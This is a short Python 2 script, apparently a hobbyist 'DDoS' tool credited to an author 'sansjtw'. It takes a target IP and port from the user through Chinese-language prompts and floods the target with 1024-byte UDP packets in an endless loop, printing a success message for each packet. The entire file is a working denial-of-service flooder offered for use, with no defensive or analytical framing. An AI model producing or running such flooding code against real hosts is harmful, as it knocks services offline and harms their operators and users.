# -*- coding: utf-8 -*-

import socket

def ddos(target_ip, target_port):
    # Create a socket
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    
    # Craft a payload
    payload = '\x00' * 1024  # You can adjust the payload size as needed
    
    # Send the payload repeatedly
    while True:
        sock.sendto(payload, (target_ip, target_port))
        print "成功发送数据包至:", target_ip, ",端口为:", target_port

# Prompt user for target IP and port
target_ip = raw_input("请输入目标IP地址: ")
target_port = int(raw_input("请输入目标端口号: "))

# Start the DDoS attack
ddos(target_ip, target_port)

# 创作: sansjtw 金条k sansjtw.xyz